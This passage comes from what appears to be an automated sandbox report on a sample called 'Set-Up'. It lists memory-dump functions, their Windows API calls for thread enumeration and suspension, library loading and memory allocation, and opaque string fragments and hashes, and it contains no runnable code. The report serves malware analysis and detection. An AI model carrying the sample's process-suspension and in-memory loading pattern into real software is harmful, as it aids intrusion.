TerminateProcess.KERNELBASE(000000FF,00000000), ref: 0266092D

Strings

$CP, xrefs: 02660416
J~, xrefs: 0266047A
TU=Q, xrefs: 02660402

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: $CP$TU=Q$J~
API String ID: 1197810419-1734471447
Opcode ID: 9fc2e2b2e5c46df0a7c3f9032a4e3a07a5967c215bef6d2b7323fb27b1c27db0
Instruction ID: 9862c659e4ecb958434b9be91c48cdabb0c927e3fe9de37a0d8ab7d362573cfe
Opcode Fuzzy Hash: 9fc2e2b2e5c46df0a7c3f9032a4e3a07a5967c215bef6d2b7323fb27b1c27db0
Instruction Fuzzy Hash: 7E12C2B5E00219DFDB14CF98C994BADBBB2FF88304F2482A9D515AB385D734AA41CF54

Function 02660AA6 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,026605EC,?,00000001,?,81EC8B55,000000FF), ref: 02660AE4
Thread32First.KERNEL32(00000000,0000001C), ref: 02660B10
Wow64SuspendThread.KERNEL32(00000000), ref: 02660B63
CloseHandle.KERNEL32(00000000), ref: 02660B8D

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 925852dd94eb7b53114b040dc57b07627e0858d054ea145f7f6f354073fb5db4
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: A3411A71A00109AFDB18DF98C894FADB7B6EF88304F10C068E6159B7A4DB75AE45CB94

Function 02660956 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02660A22

Strings

,, xrefs: 02660A6E

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: e24390639c47954581bbb26d6960e05bb71bba0cd3b0611771fb10c7bb9db284
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: A941A674A00209EFDB18CF98C994BAEB7B1FF88314F2081A8D5156B395D775AE81CF94

Function 026B01D4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 026B0266

Strings

.dll, xrefs: 026B020B

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: 8598917450a3f463650cc14a9370683e03e69103ca7722d859869f6eab508fa2
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: E221B735A042959FDB26DFACC884BBF7FA8AF05224F18416DD8459BB41D770E8898740

Function 026AEE26 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 026AEEA0
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 026AF1E4

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: aee189b957525ecc5ff9bcb8255174225219165c7d66728a30a87d7c6baf0295
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: CBB1C271500B02ABDB369E60CCA0BA7BBE9FF05314F14052DF95996650E732ED51CFA2

Non-executed Functions

Function 02672C33 Relevance: 88.1, Strings: 69, Instructions: 1868COMMON

Download Yara Rule

Strings

9, xrefs: 026740F2
h, xrefs: 0267387E
H, xrefs: 0267404F
d, xrefs: 0267389E
Q, xrefs: 02674222
E, xrefs: 02673459
', xrefs: 02673A9B
0, xrefs: 02674411
a, xrefs: 02673461
!, xrefs: 02673AA8
`, xrefs: 02673B56
`, xrefs: 02672D1D
8, xrefs: 026740A2
w, xrefs: 02672FCC
", xrefs: 02673AB0
(, xrefs: 02674152
=, xrefs: 0267386E
g, xrefs: 026741C2
6, xrefs: 026743E1
z, xrefs: 02672F50
=, xrefs: 02674092
l, xrefs: 02674531
t, xrefs: 02672EAB
k, xrefs: 026734B1
+, xrefs: 02673A87
g, xrefs: 02673491
%, xrefs: 02673A91
%, xrefs: 026741A2
2, xrefs: 02674102
f, xrefs: 02674561
+, xrefs: 02673147
2, xrefs: 026740B2
M, xrefs: 02673279
n, xrefs: 02674521
O, xrefs: 0267404A
M, xrefs: 02673085
T, xrefs: 026741D2
,, xrefs: 02674172
n, xrefs: 026734C9
;, xrefs: 02673E46
2, xrefs: 02674401
:, xrefs: 026740C2
n, xrefs: 026741F2
O, xrefs: 026734A9
, xrefs: 02674182
D, xrefs: 02674844
j, xrefs: 02674541
o, xrefs: 026734D1
I, xrefs: 02674054
c, xrefs: 02673471
i, xrefs: 026734A1
e, xrefs: 02674479
v, xrefs: 02674489
D, xrefs: 0267460A
, xrefs: 02672D78
l, xrefs: 026741E2
e, xrefs: 02673481
o, xrefs: 02672C8D
:, xrefs: 02673E06
M, xrefs: 026735B0
(, xrefs: 02673CEE
i, xrefs: 02674559
h, xrefs: 02674551
m, xrefs: 026734C1
,, xrefs: 02672E05
4, xrefs: 026743F1
#, xrefs: 02673AB8
7, xrefs: 02673DF6
y, xrefs: 026744D9

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: $ $!$"$#$%$%$'$($($+$+$,$,$0$2$2$2$4$6$7$8$9$:$:$;$=$=$D$D$E$H$I$M$M$M$O$O$Q$T$`$`$a$c$d$e$e$f$g$g$h$h$i$i$j$k$l$l$m$n$n$n$o$o$t$v$w$y$z
API String ID: 0-1168452332
Opcode ID: cd1950757bcb56ccb3c05197a421adc7346e6e956f1bdfc74bc5e3c418f05ba2
Instruction ID: c12cff597f1adea9c817d51b167c4ed53ea54ceb0bfaf678d08cdd4b25740af5
Opcode Fuzzy Hash: cd1950757bcb56ccb3c05197a421adc7346e6e956f1bdfc74bc5e3c418f05ba2
Instruction Fuzzy Hash: BF03DF7150C7C18AC3359B3898483AFBFE1AB96324F088A6DD4E9873D1DB798446CB57

Function 0268411E Relevance: 65.4, Strings: 52, Instructions: 355
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{, xrefs: 026842DB
G, xrefs: 0268444D
Y, xrefs: 02684423
C, xrefs: 02684469
[, xrefs: 02684730
U, xrefs: 02684738
g, xrefs: 0268452D
}, xrefs: 026844E7
k, xrefs: 02684581
?, xrefs: 0268456C
W, xrefs: 026841BD
a, xrefs: 0268453B
[, xrefs: 02684431
{, xrefs: 02684511
T, xrefs: 0268412A
A, xrefs: 0268445B
P, xrefs: 026844C4
7, xrefs: 02684267
M, xrefs: 02684477
2, xrefs: 0268447E
W, xrefs: 02684740
e, xrefs: 0268451F
,, xrefs: 02684277
i, xrefs: 02684573
', xrefs: 026842A7
!, xrefs: 0268422F
m, xrefs: 02684557
s, xrefs: 026844D9
,, xrefs: 026844B6
_, xrefs: 02684415
q, xrefs: 026844CB
O, xrefs: 02684485
X, xrefs: 0268418C
., xrefs: 026841EE
u, xrefs: 026844AF
S, xrefs: 02684750
$, xrefs: 02684363
w, xrefs: 026844BD
y, xrefs: 02684503
c, xrefs: 02684549
I, xrefs: 02684493
o, xrefs: 02684565
E, xrefs: 0268443F
*, xrefs: 02684247
#, xrefs: 02684668
<, xrefs: 0268423B
+, xrefs: 02684446
_, xrefs: 026842EF
K, xrefs: 026844A1
;, xrefs: 02684257
Q, xrefs: 02684748
R, xrefs: 0268474C

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: !$#$$$'$*$+$,$,$.$2$7$;$<$?$A$C$E$G$I$K$M$O$P$Q$R$S$T$U$W$W$X$Y$[$[$_$_$a$c$e$g$i$k$m$o$q$s$u$w$y${${$}
API String ID: 0-1732998363
Opcode ID: ebea3ace2697a5afeb16cad6def4a697057872c99277c015847f6c4aa40287e0
Instruction ID: 4165f801e8863bb66ec6a3034237253200d574abc9253620a0eb83e909fb2223
Opcode Fuzzy Hash: ebea3ace2697a5afeb16cad6def4a697057872c99277c015847f6c4aa40287e0
Instruction Fuzzy Hash: 5722E51080CBEAC9DB32C67C9C4879DBF611B23224F1843D9D0F96B2D6D7750A86DB66

Function 02680853 Relevance: 16.7, Strings: 13, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(X+^, xrefs: 02680905
-d.z, xrefs: 0268093D
Yl$b, xrefs: 0268092D
W`(f, xrefs: 02680935
Ct, xrefs: 026809FF
4@$F, xrefs: 026808F5
&h]n, xrefs: 02680925
Mx0~, xrefs: 02680945
Aw, xrefs: 026809E7
-L8B, xrefs: 02680B29
Hr, xrefs: 026809EF
TG, xrefs: 026809F7
+\8R, xrefs: 0268090D

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: &h]n$(X+^$+\8R$-L8B$-d.z$4@$F$Aw$Ct$Hr$Mx0~$TG$W`(f$Yl$b
API String ID: 0-343601620
Opcode ID: 31fb9d7cda7e14f501f8ddddfaac54f4dae8fd05f2bad1d70a5b0fd0742564cf
Instruction ID: 76f6df6c1ea81d6d262b028806b6badcaa9f3d2cd7a7fde45b673ac86e6582f3
Opcode Fuzzy Hash: 31fb9d7cda7e14f501f8ddddfaac54f4dae8fd05f2bad1d70a5b0fd0742564cf
Instruction Fuzzy Hash: 1CD114B16183108BD724DF24C86276BB7F2EFD6354F088A5CD5C28B3A4E7759909CB92

Function 026720FF Relevance: 13.0, Strings: 10, Instructions: 508COMMON

Download Yara Rule

Strings

f, xrefs: 0267245D
\, xrefs: 02672301
x, xrefs: 02672309
x, xrefs: 026726B8
j, xrefs: 0267210D
>, xrefs: 02672319
y, xrefs: 02672311
T, xrefs: 026724DD
k, xrefs: 02672175
b, xrefs: 026724D8

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: >$T$\$b$f$j$k$x$x$y
API String ID: 0-2256232739
Opcode ID: 6997c8941c416139f3cdbff7e612643fe5a3e27715ecb606f746a154dfc27e4e
Instruction ID: 484b8abd9d2954beb8ae7539cf2f37e832f02d9937f98bd0e1c440d3f59c46d7
Opcode Fuzzy Hash: 6997c8941c416139f3cdbff7e612643fe5a3e27715ecb606f746a154dfc27e4e
Instruction Fuzzy Hash: A912A27160C7808BD328DB38D4A43AEBBE2AFC5310F194A2ED9D987391DB758945CB43

Function 0269AAE3 Relevance: 11.9, Strings: 9, Instructions: 697COMMON

Download Yara Rule

Strings

<=, xrefs: 0269B0B7
%", xrefs: 0269AFBA
{WPQ, xrefs: 0269ABC5
,, xrefs: 0269AC1D
vh/6, xrefs: 0269B2AF
\, xrefs: 0269AC81
X, xrefs: 0269AF16
C, xrefs: 0269AC13
"/W, xrefs: 0269AB0D

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: "/W$%"$<=$C$X$\$vh/6${WPQ$,
API String ID: 0-1806767623
Opcode ID: b840dc5cd3e1ad98a609f69922b2e150d7b0e3306ac93c808360b46a54e85571
Instruction ID: aed1e521480d888c6746dbd50e182a86356d8b61d5302debd616c4a140c321c6
Opcode Fuzzy Hash: b840dc5cd3e1ad98a609f69922b2e150d7b0e3306ac93c808360b46a54e85571
Instruction Fuzzy Hash: 7032DE71A083419FE710CF65D885B9BBBE6EFC5318F18892CE5948B391DB75D806CB42

Function 02681733 Relevance: 11.7, Strings: 9, Instructions: 469COMMON

Download Yara Rule

Strings

,, xrefs: 02681BF2
=, xrefs: 026818F0
!@, xrefs: 02681766
e, xrefs: 02681C98
d, xrefs: 02681C93
b, xrefs: 02681C8E
M, xrefs: 026818E6
2, xrefs: 026818F5
<, xrefs: 026818EB

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: !@$,$2$<$=$M$b$d$e
API String ID: 0-511976128
Opcode ID: fcbfd8d0f24e684a48a1df3a316dcc2e65bbb40cb84913161c0eee7eb5f07272
Instruction ID: 92576ff4e8f43e2dca380869a1c0057a3fcaa3bc747ef90e96620ab87afb8b03
Opcode Fuzzy Hash: fcbfd8d0f24e684a48a1df3a316dcc2e65bbb40cb84913161c0eee7eb5f07272
Instruction Fuzzy Hash: 1E127F7160C7408FD328AF28C45436EBBE2ABC6314F148B6DE5E9873D1D7B59846CB46

Function 0266AD43 Relevance: 11.6, Strings: 9, Instructions: 352COMMON

Download Yara Rule

Strings

)&, xrefs: 0266B05C
%", xrefs: 0266B106
>~|, xrefs: 0266AEF8, 0266AF09, 0266B118
*42*, xrefs: 0266ADE9
D, xrefs: 0266AE9D
@, xrefs: 0266AF27
>~|, xrefs: 0266B078
vt, xrefs: 0266AFBC
*42*, xrefs: 0266AF33

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: %"$)&$*42*$*42*$>~|$>~|$@$D$vt
API String ID: 0-2632451843
Opcode ID: 6787cc96cc5982d74371398982ca9b65ea830d1404f858457329a2faa21a724e
Instruction ID: c944074de9421d461f116a53b524bbeb30cec5ed0e7f9b825fca6a2000ee7256
Opcode Fuzzy Hash: 6787cc96cc5982d74371398982ca9b65ea830d1404f858457329a2faa21a724e
Instruction Fuzzy Hash: 39B1F0B060C3808BD718DF65C891BBBBBE1EB82314F14496DE5D19B391D778C50ACB56

Function 0267BAC5 Relevance: 11.5, Strings: 9, Instructions: 275COMMON

Download Yara Rule

Strings

$T:Z, xrefs: 0267BC5D
k5o!, xrefs: 0267BEA5
2X<^, xrefs: 0267BC65
3D>J, xrefs: 0267BC3D
[5o!, xrefs: 0267BE63
8H?N, xrefs: 0267BC45
(\]b, xrefs: 0267BC6D
/H, xrefs: 0267BD31
[L, xrefs: 0267BD39

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: $T:Z$(\]b$/H$2X<^$3D>J$8H?N$[5o!$[L$k5o!
API String ID: 0-2400727931
Opcode ID: e50ab99199c30e6627e3f6f0dc79af80178482edd4d63efa06bb9bdaac9a1f69
Instruction ID: cd05874f9475344ef929c91e2884c1f835b9b40a7eac9e36952f64ee010b3565
Opcode Fuzzy Hash: e50ab99199c30e6627e3f6f0dc79af80178482edd4d63efa06bb9bdaac9a1f69
Instruction Fuzzy Hash: 1791257295C3609FD305CF95884069FFBE2EFC1300F09C86DE9D59B261DA78990ADB86

Function 026952C4 Relevance: 9.1, Strings: 7, Instructions: 304COMMON

Download Yara Rule

Strings

M, xrefs: 0269556F
., xrefs: 02695588
K, xrefs: 026952F5
$, xrefs: 0269558D
., xrefs: 026952FA
K, xrefs: 02695583
$, xrefs: 026952FF

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$.$.$K$K$M
API String ID: 0-2801665918
Opcode ID: 4e7c65760f3cfd9de62de3664c091aa2872ad46892675884fcd001e0fb581aa5
Instruction ID: f833107a8164a28bc0e166506f7650ef4d3e06faa51b5fc3dbcafe60e4ca69df
Opcode Fuzzy Hash: 4e7c65760f3cfd9de62de3664c091aa2872ad46892675884fcd001e0fb581aa5
Instruction Fuzzy Hash: C0D1472161D3C08ED3628B79C4517AFBFE19BA6208F584DAEE4D9C6383C678C6458B17

Function 02694B6B Relevance: 9.0, Strings: 7, Instructions: 295COMMON

Download Yara Rule

Strings

., xrefs: 02694B92
K, xrefs: 02694B8D
$, xrefs: 02694B97
$, xrefs: 02694E17
., xrefs: 02694E12
K, xrefs: 02694E0D
M, xrefs: 02694DF9

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: $$$$.$.$K$K$M
API String ID: 0-2801665918
Opcode ID: 09e176889aa88cfddec2aefe18bf9b184f7a716687782d4f52b31bd0de803cf8
Instruction ID: 03a95e62d690a1f10804a47a175b68372396fdfbb3e60146f454dedad819ec2c
Opcode Fuzzy Hash: 09e176889aa88cfddec2aefe18bf9b184f7a716687782d4f52b31bd0de803cf8
Instruction Fuzzy Hash: 8AD1373161D3D08EE3628B79885179FFFE15BA6204F084EAEE4D897382C678C6458B57

Function 0267915A Relevance: 8.8, Strings: 7, Instructions: 37COMMON

Download Yara Rule

Strings

GzUH, xrefs: 0267915A
~t~{, xrefs: 02679165
r~LF, xrefs: 02679191
kwyB, xrefs: 0267917B
v}e~, xrefs: 02679186
PUgg, xrefs: 0267919C
{nc^, xrefs: 026791A7

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: GzUH$PUgg$kwyB$r~LF$v}e~${nc^$~t~{
API String ID: 0-8767991
Opcode ID: a39a2a42deac8bac521e3c4328b9cc4f31963f7c3a29d215709f757719e6f03c
Instruction ID: a0ee0e1ab7c964095fe82f9c8f58e4666c0328015e87e24f8fbfe1152836cef6
Opcode Fuzzy Hash: a39a2a42deac8bac521e3c4328b9cc4f31963f7c3a29d215709f757719e6f03c
Instruction Fuzzy Hash: 46017C7050DB818FD3304F2599583AFBFE5AB83350F254A6CD0D99B395DB7889058B1B

Function 0269DF63 Relevance: 5.7, Strings: 4, Instructions: 665COMMON

Download Yara Rule

Strings

S"(w, xrefs: 0269E2DB
, xrefs: 0269E107, 0269E117
f, xrefs: 0269E1CF
S"(w, xrefs: 0269E063

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: S"(w$S"(w$f$
API String ID: 0-3943708870
Opcode ID: 84e754d948e2dcaae373bea8159530d3bb937571160c77cf48ba447bd0e7703a
Instruction ID: d2b2968d9c15c789e4e7e98c23409649422b0e82833016f5fb4355c2616a48f0
Opcode Fuzzy Hash: 84e754d948e2dcaae373bea8159530d3bb937571160c77cf48ba447bd0e7703a
Instruction Fuzzy Hash: B132E8756083519FCB14CF18C88072EB7E6AFC5314F258A2EE5A54B391DB76E806CB92

Function 0266C173 Relevance: 5.5, Strings: 4, Instructions: 500COMMON

Download Yara Rule

Strings

=>*R, xrefs: 0266C209
+iq, xrefs: 0266C623
,(46, xrefs: 0266C185
#\JA, xrefs: 0266C2FA

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: #\JA$+iq$,(46$=>*R
API String ID: 0-3861604628
Opcode ID: afd97646cb06e6aa046c0be85e8045b9f85bf1f5f7ba83bfc04a92741596b8e4
Instruction ID: 27017c298512c2e79e37842c671b3da882891c04a2fc5465d5854a92d1e99533
Opcode Fuzzy Hash: afd97646cb06e6aa046c0be85e8045b9f85bf1f5f7ba83bfc04a92741596b8e4
Instruction Fuzzy Hash: 30E16C72B4C7508BC328DF68889927FBBE2AFC1204F1D892ED8D59B384DB75C9058785

Function 02672866 Relevance: 4.0, Strings: 3, Instructions: 271COMMON

Download Yara Rule

Strings

B, xrefs: 02672B57
i, xrefs: 026729FC
[, xrefs: 0267291E

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: B$[$i
API String ID: 0-1848524118
Opcode ID: 2c14d030008010df93201729ba8e995ca281bfff11c402713137fd6b59e4a24b
Instruction ID: 4dac2f40c4de81a2fa68a8eda96df1c50fb6d326bb780ffae55452274f0b5dd8
Opcode Fuzzy Hash: 2c14d030008010df93201729ba8e995ca281bfff11c402713137fd6b59e4a24b
Instruction Fuzzy Hash: ECA1D572A0D7908FC3289F38849436EBBD2AFC9314F098A6DD8D9D7381DA758941CB47

Function 02675CBB Relevance: 4.0, Strings: 3, Instructions: 254COMMON

Download Yara Rule

Strings

eb, xrefs: 02675DC5
gfff, xrefs: 02675F05
7, xrefs: 02675E8B

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: 7$eb$gfff
API String ID: 0-72081834
Opcode ID: 9f46056b5e84b0d063179c82f6fd5a59595fd9acf97ce4c87d41a2b3380ebad8
Instruction ID: 7847659d128d7f73c1472880fb4774a7177f194cfcb66fa9f71cbc2603a198a6
Opcode Fuzzy Hash: 9f46056b5e84b0d063179c82f6fd5a59595fd9acf97ce4c87d41a2b3380ebad8
Instruction Fuzzy Hash: 388154766542018BD31CCF28DC967BB76D2EBC4318F18867DD856CB395EB7889068B84

Function 02665AA3 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

IEND, xrefs: 02665E94
), xrefs: 02665B1E

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 3d07faf7692585c5230f03ab7533d411d42634c115929978f0bbd913bd4660b8
Instruction ID: d81c9043d0c255cf262ad3083c1e642dcf35fe1011ec85eac941fef5edc5959f
Opcode Fuzzy Hash: 3d07faf7692585c5230f03ab7533d411d42634c115929978f0bbd913bd4660b8
Instruction Fuzzy Hash: 18D1B0B15083459FD720CF14C889B6EBBE5EB94304F44892EF99A9B381D375D908CF96

Function 0268A781 Relevance: 2.8, Strings: 2, Instructions: 303COMMON

Download Yara Rule

Strings

nb, xrefs: 0268A83C
FG, xrefs: 0268A835

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: FG$nb
API String ID: 0-2005572742
Opcode ID: 244ae5721701e50ce7e3c35dc74cea4af2204d368358b9e398da4a6816890188
Instruction ID: 95e3468da3d96e59eb97bcb65a68cc745b9eb80159ef1d187abd7da8ea77020d
Opcode Fuzzy Hash: 244ae5721701e50ce7e3c35dc74cea4af2204d368358b9e398da4a6816890188
Instruction Fuzzy Hash: AA9168B6A183158BC714DF64C89276BB7F2EFC1310F098A2DE9949B380E778C905C786

Function 026774A7 Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

T*, xrefs: 02677648
PV, xrefs: 02677640

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: PV$T*
API String ID: 0-3782284241
Opcode ID: eb6ad5ce3749f66dcab78e52e76ad08a9da5f5920b3042087660022c00a3d090
Instruction ID: dc8b46055fd0f5eef8b0cf815ba33cc3b882b1c545c658a340bd265e852e49d3
Opcode Fuzzy Hash: eb6ad5ce3749f66dcab78e52e76ad08a9da5f5920b3042087660022c00a3d090
Instruction Fuzzy Hash: 3481EF715083118BC729CF29C89176BB7E2FFC9754F289A5CE4C64B2A4EB789502CB46

Function 0268E7C1 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

heik, xrefs: 0268E967
kYk<, xrefs: 0268E96E

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: heik$kYk<
API String ID: 0-4157164912
Opcode ID: 8c965cc3dafe15d3673fca93440029041c4de70102bab8165040feb0ac5a85b8
Instruction ID: 000702ecd809f8c41c5fc0a0272e7729ef222f769a8c7060d523d4582a1315b0
Opcode Fuzzy Hash: 8c965cc3dafe15d3673fca93440029041c4de70102bab8165040feb0ac5a85b8
Instruction Fuzzy Hash: A551DD709046418FDB668F39C5A17A6BBE1BF07300B18A59DD0EB9B752C735E802CB54

Function 0267A853 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

y4F, xrefs: 0267A8A9
a, xrefs: 0267A996

Memory Dump Source

Source File: 00000000.00000002.1984991236.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Offset: 02660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2660000_Set-Up.jbxd

Yara matches

Similarity

API ID:
String ID: a$y4F
API String ID: 0-898127711
Opcode ID: 108314b80b84c917fc670672618be9aa1a863c63f6c9b6759566c06f8cc2c102
Instruction ID: 86ce27261041ad7d063e32e9c5e6382273b4b665f73491b27fc57c597145acd2
Opcode Fuzzy Hash: 108314b80b84c917fc670672618be9aa1a863c63f6c9b6759566c06f8cc2c102
Instruction Fuzzy Hash: 0B410DB08183418BD724CF25C891BABBBF1EFC6358F045A5CE4D18B352E3788949CB56

Function 0268E852 Relevance: 2.7, Strings: 2, Instructions: 170COMMON

Download Yara Rule

Strings

heik, xrefs: 0268E967
kYk<, xrefs: 0268E96E

Memory Dump Source

